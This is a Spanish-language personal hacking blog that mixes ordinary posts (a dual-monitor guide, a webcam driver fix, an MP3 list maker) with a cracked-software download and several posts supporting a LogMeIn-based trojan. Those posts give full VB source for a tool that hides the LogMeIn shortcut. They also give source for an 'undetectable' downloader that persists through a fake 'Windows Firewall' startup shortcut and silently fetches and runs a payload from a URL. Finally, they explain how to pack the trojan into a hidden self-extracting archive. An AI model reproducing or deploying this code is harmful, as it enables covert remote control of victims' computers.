General

LogMeIn Link Killer

Esta extremadamente pequeña aplicacion, sirve para eliminar el acceso directo de logmein del menu de inicio de windows.

La apliacion es util para el troyano. FUNCIONA en windows XP, Vista, Seven

Este es el codigo:

[cc lang=”VB”]Private Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias “SHGetPathFromIDListA” ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type

Private Const CSIDL_STARTMENU = &HB
Private Const CSIDL_PROGRAMS = &H2
Private Const CSIDL_COMMON_STARTMENU = &H16
Private Const CSIDL_COMMON_PROGRAMS = &H17

Private Sub Form_Load()
‘Primero vemos si existe el acceso directo
If Dir(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & “\LogMeIn.lnk”, vbNormal) = “” Then
MsgBox “No se encuentra el acceso directo”, vbCritical, “Error    —   Lordblacksuca”
End
End If
‘si existe, lo matamos
Call Kill(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & “\LogMeIn.lnk”)
End
End Sub

‘————————————————————————-
‘FUNCIONES
‘————————————————————————-

Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”

End Function[/cc]
LogMeIn guarda el acceso directo en la carpeta comun a todos los usuarios..  es decir AllUsers
Bueno, aca esta la descarga del archivo ejecutable por Rapidshare
Saludos! recuerden, ante cualquier duda, comenten, y si no tienen dudas, bueno, comenten tambien!!.

Como configurar y utilizar 2 monitores en tu PC

Bueno, antes que nada les muestro mi “estación” de trabajo. La foto es un poco vieja y de poca calidad, pero sirve.

 

Mi notebook Bangho EV 1508 y monitor samsung de 24 pulgadas.
Mi notebook Bangho EV 1508 y monitor samsung de 24 pulgadas.

 

Bien, el fin de esta entrada es recomendarles un par de cosas para trabajar con dos monitores. Obvio que si no tienes dos monitores, te recomiendo que si tienes la posibilidad y el espacio necesario, te  compres otro.

Durante TODA la entrada, estoy hablando de tener 2 monitores, con la configuracion de escritorio extendido.

Cosas positivas

El tener dos monitores en una PC, es bueno, en casi todo sentido. Para cualquier persona, que medianamente se considere “informatico” un segundo monitor, significa poder hacer las cosas mas rapido, trabajar mejor con mas aplicaciones a la vez, al incrementar el area de trabajo se logran efectos como organizar mejor ventanas, iconos etc.

Yo por ejemplo, utilizo el monitor de mi notebook,  para tareas, principales, que muchas veces requieren quizas tener un archivo para ir viendo cosas, o monitoriando algo desde algun soft. De otra manera la unica forma de hacer esto, seria minimizar la ventana principal, y luego volver a maximizarla. Inclusive a veces, utilizo mi segundo monitor, para reproducir algun video, hacer un slideshow de fotos, o cosas por el estilo, mientras trabajo en el monitor principal.

Ni que hablar, si te compras un monitor “grande” las tareas de Diseño Grafico por ejemplo, se hacen mucho mas faciles, ya que tienes un area de trabajo mucho mas amplia.

Cosas negativas

Configuraciones.

No digo que sea dificil configurar un segundo monitor en la PC, todo lo contrario, por lo general siempre es “conectar y listo”

EL PROBLEMA, es que los sistemas operativos traen una adaptacion nativa a 2 monitores, digamos que un poco baja.

En Ubuntu por ejemplo, el tener 2 monitores se complica mas que en Windows Vista/Seven.  Aunque esto no quiere decir que Windows es maravilloso para tener 2 monitores, pero el tema está en que existen aplicaciones MUY utiles para windows para trabajar con 2 monitores.

Al conectar un segundo monitor en la PC, basicamente nos encontraremos con problemas como los siguientes, sobre todo si tenes una notebook, que “no siempre” esta conectada al segundo monitor.

  1. En primer lugar, se desordenan los iconos de una forma excesiva diria yo…  practicamente se hace imposible mantener un icono en el mismo lugar cada vez que conectas/desconectas el monitor, o cuando algun juego cambia la resolucion de la pantalla temporalmente.
  2. El segundo monitor queda como..   “aislado” si bien, el espacio de trabajo se extiende, la barra de herramientas y cosas por el estilo, solo son para el monitor principal.
  3. Ademas hay un sin numero de problemas que acarrea, el a veces tener un segundo monitor y a veces no. (notebook)

Bueno, no hay que preocuparse

Por lo menos en windows.

Existen dos aplicaciones (o tres) indispensables para aquel que utilize dos monitores en su PC.

En primer lugar:  Ultramon

Esta aplicacion te permite hacer cosas maravillosas con los dos monitores.

Podras mover las ventanas de un monitor a otro con un solo click, poner una segunda Taskbar en donde tu desees, modificar los accesos directos de las aplicaciones para que dichos programas se ejecuten con la configuracion que tu desees (por ejemplo, en el otro monitor), poner wallpapers y screensavers individuales o compartidos, MUY facilmente y muchas cosas mas, realmente MUY utiles.

Para mas detalle: http://www.realtimesoft.com/ultramon/tour/

Otra característica es el uso de perfiles, por si trabajas con monitores diferentes.

Añado algo: en la seccion de scripts, encontraran unos MUY utiles, yo uso el de el cambio automatico de wallpaper. sencillamente configuras una carpeta con las imagenes y le haces doble click al script, y cada X tienpo (X asignado por el usuario)  se cambiara el wallpaper del monitor que tu indiques automaticamente.

En segundo lugar:  Fences

Sencillamente, INCREIBLE.

Cuando lo vi por primera vez, me negué rotundamente a instalarlo, pensaba que es otra de esas cosas que lo unico que hacen es ocupar los recursos de tu sistema y relentizarlo…  pero estaba totalmente equivocado.

Fences es un programa que te ayudara a tener ordenados tus iconos SIEMPRE, olvidate de el desorden en el escritorio. Increiblemente, no consume casi nada de recursos.

Ademas, una propiedad que tiene Fences, es que se adapta perfectamente al uso de 2 o mas monitores, por ejemplo, yo puedo configurar mis fences de una forma cuando estoy conectado a mi segundo monitor, y de otra forma para cuando estoy sin el segundo monitor. entonces, cuando estoy sin monitor, tengo mis fences un poco mas amontonadas, pero cuando me conecto al segundo monitor, éstas automaticamente se desparraman de la forma en que las configure antes!

En tercer lugar: MultiScreen

Esta es una pequeña aplicacion, que nos permitira dividir el monitor en cuantas partes queramos, permitiendono trabajar mas comodamente con mas ventanas en el mismo monitor.

Pero, Windows 7  trae la posibilidad de hacer algo parecido, por lo que sencillamente, ya no le veo utilidad.


Bien, eso es todo…   estas apliciones hacen que trabajar con 2 monitores sea mucho mas sencillo. Lamentablemente solo estan para windows. En linux aun es un poco mas complejo obtener resultados parecidos.
Saludos!

Bison Cam en Windows 7 – (Solución)

Cuando me actualize a windows seven, funciono todo a la perfección, menos la camara web. Mi notebook es una Bangho EV1508, que en realidad son las CLEVO (chinas) nada mas que les ponen el nombre aca en Argentina. Si cuando abris el soft, te aparece una pantalla negra, es decir, no se ve la camara, bueno, acá te dejo el driver para Windows Seven, y ademas un archivo .reg para hacer que funcione.

DESCARGA

 

El procedimiento es el siguiente:

Primero enciende la camara (Fn+F10)

  1. Descomprimis el RAR y ejecutas el archivo camara.reg Ahora, REINICIA tu PC. (no te olvides de reiniciar)
  2. Si despues de hacer el paso uno, tu camara sigue sin funcionar, entra en la carpeta BisonCam y ejecuta el archivo setup.exe Si ya tenias algun driver instalado, se va adesinstalar y te va a pedir que reinicies la maquina, cuando la reinicies, debes volver a ejecutar el archivo de setup.
  3. Por ultimo debes volver a REINICIAR tu pc.

Ahora, tu camara deberia estar andando.

PCDJ Red Mobile BUILD 7147

Esta es la ultima version de este increible soft para DJ.

Este es el Changelog de la ultima version, desde la pagina oficial:

V 1.0.7147
-Updated protection should fix some more performance issues
-Negative autofade time is now allowed to insert a gap between 2 songs in autoplay mode
-Improved DJ-Tech i-Mix support
-M4A/MP4 tag writing added
-HC4500 display should be correct when returning from CD mode
-Fixed problem browsing to network shares
-Fixed bug preventing 2 Denon HS-5500’s to be used simultaneously
-Added Denon Controllers option to select Match button action
-Added DAC-2 ‘constant pitch bend’ option
-Fixed DAC3 ‘constant pitch bend’ option
-Right-click playlist/browser scroll bar to show total length of that folder or playlist
-Fix possible playlist search crash

Bueno, el pack incluye crack.

DESCARGA

Dhackers está de vuelta!!!

www.dhackers.com

SI. Hemos vuelto.

Dhackers.net  – La libertad  de hackers


Despues de un tiempo en off….  volvemos para quedarnos. Estamos preparando todo con Senege para tener el foro mucho mejor.

Estan todos invitados a unirse.  Es un foro totalmente libre.

Dhackers es la mejor comunidad Underground de Hackers de habla Hispana, aqui te ayudamos y pedimos ayuda sin temor a que nos manden a buscar a Google. En Dhackers somos todos iguales, NO importan los rangos, solo importan las ganas de compartir y ayudar.

De momento tenemos problemitas con el dominio .net (dhackers.net) pero hasta que se solucionen  se podra acceder via Dhackers.com.

Nos vemos alli.

Dhackers

Downloader en VB INDETECTABLE! –> Complemento para el Troyano con LogMeIn

Downloader en VB.

Este downloader, fue creado con la intencion de utilizarlo con este post, pero cabe aclarar que sirve para cualquier otra aplicacion.

Qué es un Downloader?

Un downloader se utiliza para descargar en la maquina victima un programa pesado, es desir, que ocupa muchos MB entonces se hace imposible camuflarlo para mandarlo por messenger por ejemplo. En general, este “Programa Pesado” es un virus, o un troyano como en el caso nuestro.

Lo que hace es, basicamente, generar un server liviano, (20k) y cuando es ejecutado por la victima, se “instala” secretamente en la maquina y comienza a descargar el archivo, desde la URL que nosotros le hayamos indicado…  cuando la descarga es finalizada, ejecuta el archivo descargado.

Eso es todo.

Comenzamos con el desarrollo de nuestro Downloader

El codigo está escrito en VB, solo hay que pegar el codigo en un Form,  compilar y Listo! no necesita de ningun complemento.

Solo hay que editar 2 lineas, una es la URL de donde se descargara el archivo, y la otra es el Path de destino (donde se guardará) el mismo.

El downloader puede descargar y ejecutar cualquier extension de archivo, siempre y cuando esa extension esté asociada con algun programa en la PC victima. (comando Shell Execute)

Este downloader, al ser ejecutado, guarda un acceso directo al ejecutable del mismo, en la carpeta de inicio del sistema (menu inicio–>programas–>inicio), esto es por si la victima apaga la pc y el archivo no se ha terminado de descargar aun, entonces cuando la vuelva a prender, se comenzara a descargar nuevamente. Una vez terminada la descarga, el acceso directo se elimina.

Este es el codigo fuente del Downloader en VB:

[cc lang=”VB”]

‘declaraciones para ejecutar una vez descargado
Private Declare Function ShellExecute Lib “shell32.dll” Alias “ShellExecuteA” (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
‘declaraciones para guardar el archivo ini
Private Declare Function GetPrivateProfileString Lib “kernel32” Alias “GetPrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib “kernel32” Alias “WritePrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Declare Function FileExists Lib “shlwapi.dll” Alias “PathFileExistsA” (ByVal pszPath As String) As Long
‘declaraciones para descargar
Private Declare Function URLDownloadToFile Lib “urlmon” _
Alias “URLDownloadToFileA” _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
‘declaraciones para guardar el acceso directon en el inicio del sistema
Private Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias “SHGetPathFromIDListA” ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Const CSIDL_STARTUP = &H7
Private Const CSIDL_COMMON_STARTUP = &H18
Dim obj As Object
Dim acceso_directo As Object

Private Sub form_load()
Dim estado As String
Iniciarconwindows
estado = INI_Read(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”)
If Trim(estado) = “Listo!” Then
Quitariniciarconwindows
End
End If
Dim sSourceUrl As String
Dim sDestinationUrl As String

sSourceUrl = “http://www.mipagina.com.ar/lordblacksuca.exe”  ‘ esta es la URL de donde se descarga el archivo
sDestinationUrl = “C:\lordblacksuca.msi”  ‘este es el path donde se va a guardar el archivo

Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Descargando”)
DownloadFile sSourceUrl, sDestinationUrl
Call ShellExecute(Me.hwnd, vbNullString, sDestinationUrl, vbNullString, vbNullString, SW_SHOWNORMAL)
Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Listo!”)
End
End Sub
‘funcion para descargar
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0, sURL, _
sLocalFile, 0, 0) = ERROR_SUCCESS
End Function
‘funcion para que el programa inicie cuando se inicia windows
Private Function Iniciarconwindows()
Set obj = CreateObject(“wscript.Shell”)
Set acceso_directo = obj.CreateShortcut(GetSpecialfolder(CSIDL_STARTUP) & “\Windows Firewall.lnk”)
With acceso_directo
.TargetPath = App.Path & “\” & App.EXEName
.Save
End With
End Function
Function Quitariniciarconwindows()
If Dir(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”, vbNormal) = “” Then Exit Function
Call Kill(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”)
End Function
‘funcion para escribir y leer de un ini
Public Function INI_Read(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, Optional ByVal Default As String) As String
On Error GoTo ErrOut
Dim Size As Integer
Dim Value As String
‘Comprobamos que el archivo existe:
If Not CBool(FileExists(Filename)) Then Err.Raise 53
‘Se define el tamaño maximo de caracteres
‘que podra tener la variable Value:
Value = Space(256)
‘Se utiliza la función para obtener
‘el valor de la clave:
Size = GetPrivateProfileString(Key_Value, Key_Name, Default, Value, Len(Value), Filename)
‘Si el tamaño es mayor a 0 entonces
‘se ha encontrado el valor de la clave:
If Size > 0 Then
Value = VBA.Left$(Value, Size)
‘Devolvemos el valor de la clave:
If VBA.Right$(VBA.Trim$(Value), 1) = Chr(0) Then Value = VBA.Left$(VBA.Trim$(Value), Len(VBA.Trim$(Value)) – 1)
INI_Read = VBA.Trim$(Value)
Exit Function
End If
ErrOut:
INI_Read = Default
End Function
‘Metodo de escritura. Si el archivo al que se refiere el parametro Filename
‘no existe se crea automaticamente:
Public Sub INI_Write(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, ByVal Value As String)
On Error GoTo ErrOut
Dim Size As Integer
‘Escribimos el valor de la clave:
Size = WritePrivateProfileString(Key_Value, Key_Name, Value, Filename)
ErrOut:
End Sub

‘funcion para obtener el path al inicio del sistema
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”
End Function

[/cc]

Para que no se gasten en Copiar y Pegar, aca les dejo el Proyecto de Visual Basic para que descargen:

Downloader en VB

Eso fue todo en cuanto al Downloader.


Complementando el Troyano Indetectable con LogMeIn

Como habrán visto, el troyano se compone de 3 archivos. El Instalador Modificado de LogMeIn, el Patch para hacerlo invisible y un archivo .bat, para coordinar todo. Ahora, tenemos que unirlos a todos en un solo .exe

Aclaro en este punto, que existen muchas formas de hacerlo, cualquiera es válida, solo hay que tener una precaución:

Este troyano fue ideado para ejecutarse mediante una Inyección USB por lo tanto habia cosas que no importaban, pero que ahora si, por ejemplo, el archivo ejecutar.bat contiene nuestros datos de acceso a la cuenta de LogMeIn, por lo tanto, si el downloader descarga el archivo, la victima tendria “al alcance de sus manos” nuestros datos, entonces resultariamos nosotros los “hackeados”.

Eso se puede solucionar, convirtiendo el archivo .bat a .exe mediante el programa Bat to Exe Converter de esta forma:

Convertir el .bat a .exe

1º Descargar al archivo:  http://rapidshare.com/files/270764528/DownloaderVB_y_Bat_to_Exe_Converter.rar

2º Seleccionar el archivo .bat a ser convertido.

3º Configurar las opciones ASI:

Opciones de configuración de Bat to Exe Converter
Opciones de configuración de Bat to Exe Converter

4º Apretar Compile y Listo!

Teniendo ese tema solucionado, solo resta unir todos los archivos necesarios para la ejecución.

Para ello, utilizamos el WinRar, y hacemos un archivo SelfExtract invisible, y que al finalizar ejecute el archivo, ejecutar.exe de esta forma:

1º Seleccionar los archivos: ejecutar.exe, el Instalador Modificado de Logmein y el Patch para hacerlo invisible, hacer click derecho sobre uno de ellos y poner Añadir al Archivo… o Add to file… si esta en inglés.  (DEBES tener el WinRar instalado)

2º Seleccionamos Crear un Archivo SFX y Crear un Archivo sólido

Creando el único ejecutable
Creando el único ejecutable

3º En la pestaña Avanzado, hacemos click en Opciones SFX… ahí debemos indicar, que los archivos se extraigan en la misma carpeta y escribimos el nombre del archivo que tiene que ejecutar al finalizar la extracción:

Opciones de SFX
Opciones de SFX

4º En la pestaña Modos, configurar de la siguiente forma:

Opciones SFX "Modos"
Opciones SFX "Modos"

5º Si lo deseas en la pestaña Texto e Icono, puedes seleccionar un icono para el exe final.

6º Apretar en Aceptar y Listo!

Eso fue todo.

Este archivo que hemos creado, es un único archivo .exe, que al ser ejecutado, descomprime los otros archivos en la misma carpeta, y luego ejecuta el archivo llamado ejecutar.exe que es el que inicia todo el proceso de instalacion.

OBIAMENTE, los pasos a seguir, son subir el ultimo archivo creado a un ftp, y apuntar esa URL al downloader, para que este lo descargue y ejecute.

En un próximo post, vemos como hacer para camuflar el server del downloader.

Creador de Listas de MP3 (o cualquier tipo de archivo)

Este es un simple creador de listas,  programado en VB por mi, lo unico que hace, es seleccionar un path y listar cada archivo,  de cualquier tipo en todos los directorios y subdirectorios.

MUY util cuando se desea hacer una lista de archivos mp3.

Aqui una captura del mismo:

Creador de Listas
Creador de Listas

escucho ideas para mejorar el programa.

Bueno aqui el link de descarga::

http://rapidshare.com/files/261188580/Creador_de_Listas_de_MP3.rar

Lordblacksuca’s Personal Blog

Buenas,  algunos ya me conocen, tal vez otros no. Pero bueno, voy a tratar de hacer un buen blog…

Antes que nada, queria agradecer a todos los usuarios de Dhackers.net y en especial a Sene…

Bueno, esto va a ser mi pagina personal, asique pronto van a encontrar mis tutoriales, y porque no algo de entretenimiento??

Por el momento comenzamos con un par de tutos,  mios,  originales de Dhackers.net